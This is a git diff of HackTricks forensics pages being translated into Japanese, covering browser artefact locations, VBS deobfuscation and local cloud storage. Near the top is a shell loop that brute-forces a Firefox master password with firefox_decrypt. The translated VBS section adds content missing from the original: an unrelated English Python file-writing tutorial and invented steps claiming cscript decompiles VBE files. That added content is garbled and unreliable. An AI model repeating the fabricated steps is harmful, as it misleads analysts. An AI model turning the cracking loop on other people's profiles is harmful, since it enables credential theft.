specify a password file to brute force: +マスターパスワードを復号化するために、[https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)を使用することができます。\ +以下のスクリプトと呼び出しを使用して、パスワードファイルをブルートフォースで指定できます: {% code title="brute.sh" %} ```bash @@ -94,8 +74,8 @@ With the following script and call you can specify a password file to brute forc #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` {% endcode %} @@ -104,175 +84,173 @@ done < $passfile ## Google Chrome -Google Chrome creates the profile inside the home of the user _**\~/.config/google-chrome/**_ (Linux), in _**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_ (Windows), or in \_**/Users/$USER/Library/Application Support/Google/Chrome/** \_ (MacOS).\ -Most of the information will be saved inside the _**Default/**_ or _**ChromeDefaultData/**_ folders inside the paths indicated before. Here you can find the following interesting files: +Google Chromeは、ユーザーのホームディレクトリ内の_**\~/.config/google-chrome/**_(Linux)、_**C:\Users\XXX\AppData\Local\Google\Chrome\User Data\\**_(Windows)、または_**/Users/$USER/Library/Application Support/Google/Chrome/**_(MacOS)にプロファイルを作成します。ほとんどの情報は、前述のパス内の_**Default/**_または_**ChromeDefaultData/**_フォルダに保存されます。ここで、次の興味深いファイルを見つけることができます: -* _**History**_: URLs, downloads and even searched keywords. In Windows, you can use the tool [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) to read the history. The "Transition Type" column means: - * Link: User clicked on a link - * Typed: The url was written - * Auto Bookmark - * Auto Subframe: Add - * Start page: Home page - * Form Submit: A form was filled and sent - * Reloaded -* _**Cookies**_: Cookies. [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) can be used to inspect the cookies. -* _**Cache**_: Cache. In Windows, you can use the tool [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) to inspect the ca -* _**Bookmarks**_: Bookmarks -* _**Web Data**_: Form History -* _**Favicons**_: Favicons -* _**Login Data**_: Login information (usernames, passwords...) -* _**Current Session**_ and _**Current Tabs**_: Current session data and current tabs -* _**Last Session**_ and _**Last Tabs**_: These files hold sites that were active in the browser when Chrome was last closed. -* _**Extensions**_: Extensions and addons folder -* **Thumbnails** : Thumbnails -* **Preferences**: This file contains a plethora of good information such as plugins, extensions, sites using geolocation, popups, notifications, DNS prefetching, certificate exceptions, and much more. If you’re trying to research whether or not a specific Chrome setting was enabled, you will likely find that setting in here. -* **Browser’s built-in anti-phishing:** `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` - * You can simply grep for “**safebrowsing**” and look for `{"enabled: true,"}` in the result to indicate anti-phishing and malware protection is on. +* _**History**_:URL、ダウンロード、さらには検索キーワードまで。Windowsでは、ツール[ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)を使用して履歴を読み取ることができます。"Transition Type"列の意味は次のとおりです: +* Link:ユーザーがリンクをクリックしました +* Typed:URLが入力されました +* Auto Bookmark +* Auto Subframe:追加 +* Start page:ホームページ +* Form Submit:フォームが入力されて送信されました +* Reloaded +* _**Cookies**_:クッキー。[ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html)を使用してクッキーを検査することができます。 +* _**Cache**_:キャッシュ。Windowsでは、ツール[ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)を使用してキャッシュを検査することができます。 +* _**Bookmarks**_:ブックマーク +* _**Web Data**_:フォームの履歴 +* _**Favicons**_:Favicons +* _**Login Data**_:ログイン情報(ユーザー名、パスワードなど) +* _**Current Session**_および_**Current Tabs**_:現在のセッションデータと現在のタブ +* _**Last Session**_および_**Last Tabs**_:これらのファイルには、Chromeが最後に閉じられたときにブラウザでアクティブだったサイトが保存されています。 +* _**Extensions**_:拡張機能とアドオンのフォルダ +* **Thumbnails**:サムネイル +* **Preferences**:このファイルには、プラグイン、拡張機能、ジオロケーションを使用するサイト、ポップアップ、通知、DNSプリフェッチング、証明書例外など、多くの有用な情報が含まれています。特定のChromeの設定が有効になっているかどうかを調査しようとしている場合、おそらくこの設定をここで見つけることができるでしょう。 +* **ブラウザの組み込みのフィッシング対策**:`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`を使用します +* 単純に「**safebrowsing**」をgrepして、結果の中で`{"enabled: true,"}`を見つけると、フィッシング対策とマルウェア保護がオンになっていることを示します。 -## **SQLite DB Data Recovery** +## **SQLite DBデータの回復** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +前のセクションで観察できるように、ChromeとFirefoxの両方がデータを保存するために**SQLite**データベースを使用しています。ツール[**sqlparse**](https://github.com/padfoot999/sqlparse) **または** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)を使用して、削除されたエントリを回復することができます。 ## **Internet Explorer 11** -Internet Explorer stores **data** and **metadata** in different locations. The metadata will allow finding the data. +Internet Explorerは、データとメタデータを異なる場所に保存します。メタデータを使用してデータを見つけることができます。 -The **metadata** can be found in the folder `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` where VX can be V01, V16, or V24.\ -In the previous folder, you can also find the file V01.log. In case the **modified time** of this file and the WebcacheVX.data file **are different** you may need to run the command `esentutl /r V01 /d` to **fix** possible **incompatibilities**. +メタデータは、フォルダ`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`にあります(VXはV01、V16、またはV24になります)。\ +前のフォルダには、ファイルV01.logもあります。このファイルの**変更時刻**とWebcacheVX.dataファイルの**異なる場合**、コマンド`esentutl /r V01 /d`を実行して、可能な**非互換性**を修正する必要があります。 -Once **recovered** this artifact (It's an ESE database, photorec can recover it with the options Exchange Database or EDB) you can use the program [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) to open it. Once **opened**, go to the table named "**Containers**". +このアーティファクトを**回復**した後(これはESEデータベースであり、photorecを使用してExchange DatabaseまたはEDBのオプションで回復できます)、プログラム[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)を使用して開くことができます。開いたら、"**Containers**"という名前のテーブルに移動します。 ![](<../../../.gitbook/assets/image (446).png>) -Inside this table, you can find in which other tables or containers each part of the stored information is saved. Following that, you can find the **locations of the data** stored by the browsers and the **metadata** that is inside. +このテーブルの中で、保存された情報の各部分がどの他のテーブルまたはコンテナに保存されているかを見つけることができます。それに続いて、ブラウザによって保存されたデータの**場所**と**メタデータ**を見つけることができます。 -**Note that this table indicates metadata of the cache for other Microsoft tools also (e.g. skype)** +**このテーブルは、他のMicrosoftのツール(例:skype)のキャッシュのメタデータも示していることに注意してください** -### Cache +### キャッシュ -You can use the tool [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) to inspect the cache. You need to indicate the folder where you have extracted the cache date. +ツール[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html)を使用してキャッシュを検査することができます。キャッシュデータが抽出されたフォルダを指定する必要があります。 -#### Metadata +#### メタデータ -The metadata information about the cache stores: +キャッシュに関するメタデータ情報は次のとおりです: -* Filename in the disc -* SecureDIrectory: Location of the file inside the cache directories -* AccessCount: Number of times it was saved in the cache -* URL: The url origin -* CreationTime: First time it was cached -* AccessedTime: Time when the cache was used -* ModifiedTime: Last webpage version -* ExpiryTime: Time when the cache will expire +* ディスク上のファイル名 +* SecureDIrectory:キャッシュディレクトリ内のファイルの場所 +* AccessCount:キャッシュに保存された回数 +* URL:元のURL +* CreationTime:キャッシュされた最初の時間 +* AccessedTime:キャッシュが使用された時間 +* ModifiedTime:最後のウェブページのバージョン +* ExpiryTime:キャッシュの有効期限 -#### Files +#### ファイル -The cache information can be found in _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_ and _**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_ +キャッシュ情報は、_**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5**_および_**%userprofile%\Appdata\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\low**_にあります。 -The information inside these folders is a **snapshot of what the user was seeing**. The caches have a size of **250 MB** and the timestamps indicate when the page was visited (first time, creation date of the NTFS, last time, modification time of the NTFS). +これらのフォルダ内の情報は、ユーザーが表示していた内容の**スナップショット**です。キャッシュのサイズは**250 MB**であり、タイムスタンプはページが訪問された時点(初回、NTFSの作成日、最後の時間、NTFSの変更日時)を示しています。 -### Cookies +### クッキー -You can use the tool [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) to inspect the cookies. You need to indicate the folder where you have extracted the cookies. +ツール[IECookiesView](https://www.nirsoft.net/utils/iecookies.html)を使用してクッキーを検査することができます。クッキーが抽出されたフォルダを指定する必要があります。 -#### **Metadata** +#### **メタデータ** -The metadata information about the cookies stored: +クッキーに関するメタデータ情報は次のとおりです: -* Cookie name in the filesystem +* ファイルシステム内のクッキー名 * URL -* AccessCount: Number of times the cookies have been sent to the server -* CreationTime: First time the cookie was created -* ModifiedTime: Last time the cookie was modified -* AccessedTime: Last time the cookie was accessed -* ExpiryTime: Time of expiration of the cookie +* AccessCount:クッキーがサーバーに送信された回数 +* CreationTime:クッキーが作成された最初の時間 +* ModifiedTime:クッキーが最後に変更された時間 +* AccessedTime:クッキーが最後にアクセスされた時間 +* ExpiryTime:クッキーの有効期限 -#### Files +#### ファイル -The cookies data can be found in _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies**_ and _**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies\low**_ +クッキーデータは、_**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies**_および_**%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies\low**_にあります。 -Session cookies will reside in memory and persistent cookie in the disk. +セッションクッキーはメモリに、永続的なクッキーはディスクに保存されます。 +### ダウンロード -### Downloads +#### **メタデータ** -#### **Metadata** - -Checking the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) you can find the container with the metadata of the downloads: +[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)というツールを使用して、ダウンロードのメタデータを含むコンテナを確認できます。 ![](<../../../.gitbook/assets/image (445).png>) -Getting the information of the column "ResponseHeaders" you can transform from hex that information and obtain the URL, the file type and the location of the downloaded file. +"ResponseHeaders"列の情報を取得し、その情報を16進数から変換することで、ダウンロードされたファイルのURL、ファイルタイプ、および場所を取得できます。 -#### Files +#### ファイル -Look in the path _**%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory**_ +パス _**%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory**_ を確認してください。 -### **History** +### **履歴** -The tool [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) can be used to read the history. But first, you need to indicate the browser in advanced options and the location of the extracted history files. +[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)というツールを使用して履歴を読み取ることができます。ただし、最初にブラウザと抽出された履歴ファイルの場所を指定する必要があります。 -#### **Metadata** +#### **メタデータ** -* ModifiedTime: First time a URL is found -* AccessedTime: Last time -* AccessCount: Number of times accessed +* ModifiedTime: URLが最初に見つかった時刻 +* AccessedTime: 最後のアクセス時刻 +* AccessCount: アクセス回数 -#### **Files** +#### **ファイル** -Search in _**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ and _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_ +_**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ および _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_ を検索してください。 -### **Typed URLs** +### **入力済みのURL** -This information can be found inside the registry NTDUSER.DAT in the path: +この情報は、レジストリのNTDUSER.DAT内のパスに見つけることができます。 * _**Software\Microsoft\InternetExplorer\TypedURLs**_ - * Stores the last 50 URLs typed by the user +* ユーザーが入力した最後の50のURLを保存します * _**Software\Microsoft\InternetExplorer\TypedURLsTime**_ - * last time the URL was typed +* URLが入力された最後の時刻を保存します ## Microsoft Edge -For analyzing Microsoft Edge artifacts all the **explanations about cache and locations from the previous section (IE 11) remain valid** with the only difference that the base locating, in this case, is _**%userprofile%\Appdata\Local\Packages**_ (as can be observed in the following paths): +Microsoft Edgeのアーティファクトを分析するためには、前のセクション(IE 11)のキャッシュと場所に関する説明がすべて有効であることに注意してください。ただし、この場合のベースの場所は _**%userprofile%\Appdata\Local\Packages**_ です(次のパスで確認できます): -* Profile Path: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_ -* History, Cookies and Downloads: _**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_ -* Settings, Bookmarks, and Reading List: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_ -* Cache: _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache**_ -* Last active sessions: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_ +* プロファイルパス: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC**_ +* 履歴、クッキー、ダウンロード: _**C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat**_ +* 設定、ブックマーク、読み取りリスト: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb**_ +* キャッシュ: _**C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC#!XXX\MicrosoftEdge\Cache**_ +* 最後のアクティブなセッション: _**C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge\_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active**_ ## **Safari** -The databases can be found in `/Users/$User/Library/Safari` +データベースは `/Users/$User/Library/Safari` にあります。 -* **History.db**: The tables `history_visits` _and_ `history_items` contains information about the history and timestamps. - * `sqlite3 ~/Library/Safari/History.db "SELECT h.visit_time, i.url FROM history_visits h INNER JOIN history_items i ON h.history_item = i.id"` -* **Downloads.plist**: Contains the info about the downloaded files. -* **Book-marks.plis**t: URLs bookmarked. -* **TopSites.plist**: List of the most visited websites that the user browses to. -* **Extensions.plist**: To retrieve an old-style list of Safari browser extensions. - * `plutil -p ~/Library/Safari/Extensions/Extensions.plist| grep "Bundle Directory Name" | sort --ignore-case` - * `pluginkit -mDvvv -p com.apple.Safari.extension` -* **UserNotificationPermissions.plist**: Domains that are allowed to push notifications. - * `plutil -p ~/Library/Safari/UserNotificationPermissions.plist | grep -a3 '"Permission" => 1'` -* **LastSession.plist**: Tabs that were opened the last time the user exited Safari. - * `plutil -p ~/Library/Safari/LastSession.plist | grep -iv sessionstate` -* **Browser’s built-in anti-phishing:** `defaults read com.apple.Safari WarnAboutFraudulentWebsites` - * The reply should be 1 to indicate the setting is active +* **History.db**: `history_visits`テーブルと`history_items`テーブルには、履歴とタイムスタンプに関する情報が含まれています。 +* `sqlite3 ~/Library/Safari/History.db "SELECT h.visit_time, i.url FROM history_visits h INNER JOIN history_items i ON h.history_item = i.id"` +* **Downloads.plist**: ダウンロードされたファイルに関する情報が含まれています。 +* **Book-marks.plist**: ブックマークされたURL。 +* **TopSites.plist**: ユーザーが最も頻繁に閲覧するウェブサイトのリスト。 +* **Extensions.plist**: 古いスタイルのSafariブラウザ拡張機能のリストを取得するために使用します。 +* `plutil -p ~/Library/Safari/Extensions/Extensions.plist| grep "Bundle Directory Name" | sort --ignore-case` +* `pluginkit -mDvvv -p com.apple.Safari.extension` +* **UserNotificationPermissions.plist**: 通知を送信することが許可されているドメイン。 +* `plutil -p ~/Library/Safari/UserNotificationPermissions.plist | grep -a3 '"Permission" => 1'` +* **LastSession.plist**: ユーザーがSafariを終了したときに開かれていたタブ。 +* `plutil -p ~/Library/Safari/LastSession.plist | grep -iv sessionstate` +* **ブラウザの組み込みのフィッシング対策**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` +* 設定が有効であることを示すために、返答は1である必要があります ## Opera -The databases can be found in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` +データベースは `/Users/$USER/Library/Application Support/com.operasoftware.Opera` にあります。 -Opera **stores browser history and download data in the exact same format as Google Chrome**. This applies to the file names as well as the table names. +Operaは、Google Chromeとまったく同じ形式でブラウザの履歴とダウンロードデータを保存します。これは、ファイル名だけでなく、テーブル名にも適用されます。 -* **Browser’s built-in anti-phishing:** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences` - * **fraud\_protection\_enabled** should be **true** +* **ブラウザの組み込みのフィッシング対策**: `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences` +* **fraud\_protection\_enabled** は **true** である必要があります ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化できます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -280,10 +258,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index d8afd50f6..a02f85b4a 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,85 +1,115 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-Some things that could be useful to debug/deobfuscate a malicious VBS file: +悪意のあるVBSファイルをデバッグ/復号化するのに役立ついくつかのこと: ## echo - ```bash Wscript.Echo "Like this?" ``` +## コメント -## Commnets +このセクションでは、VBSスクリプトの逆コンパイルと復号化について説明します。これは、CScript.exeを使用して実行されるVBSスクリプトの解析に役立ちます。 +### VBSスクリプトの逆コンパイル + +VBSスクリプトを逆コンパイルするためには、CScript.exeを使用します。以下のコマンドを使用して、スクリプトを逆コンパイルします。 + +```plaintext +cscript.exe /E:vbscript script.vbe > script.vbs +``` + +このコマンドは、VBE形式のスクリプトをVBS形式に変換します。変換されたスクリプトは、`script.vbs`という名前のファイルに保存されます。 + +### VBSスクリプトの復号化 + +VBSスクリプトが暗号化されている場合、以下の手順を使用して復号化できます。 + +1. スクリプトを逆コンパイルします(前のセクションで説明した方法を使用)。 +2. 復号化関数を特定します。これは、スクリプト内の暗号化された部分を復号化するための関数です。 +3. 復号化関数の実装を調査し、暗号化アルゴリズムや鍵の情報を取得します。 +4. 取得した情報を使用して、暗号化された部分を復号化します。 + +以上がVBSスクリプトの逆コンパイルと復号化の基本的な手法です。これらの手法を使用することで、暗号化されたVBSスクリプトの解析が可能になります。 ```text ' this is a comment ``` - -## Test - +## テスト ```text cscript.exe file.vbs ``` +## ファイルにデータを書き込む -## Write data to a file +To write data to a file in Python, you can use the `write()` method of a file object. Here is an example: +```python +# Open the file in write mode +file = open("filename.txt", "w") + +# Write data to the file +file.write("Hello, World!") + +# Close the file +file.close() +``` + +In this example, we first open the file `"filename.txt"` in write mode using the `open()` function. The `"w"` argument specifies that we want to open the file for writing. If the file doesn't exist, it will be created. If it already exists, its contents will be overwritten. + +Next, we use the `write()` method of the file object to write the string `"Hello, World!"` to the file. + +Finally, we close the file using the `close()` method to ensure that any changes are saved and resources are freed. + +Remember to handle exceptions when working with files, and always close the file after you are done writing to it. ```aspnet Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 5767dd8a3..6ca594cf2 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,123 +1,120 @@ -# Local Cloud Storage +# ローカルクラウドストレージ
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* 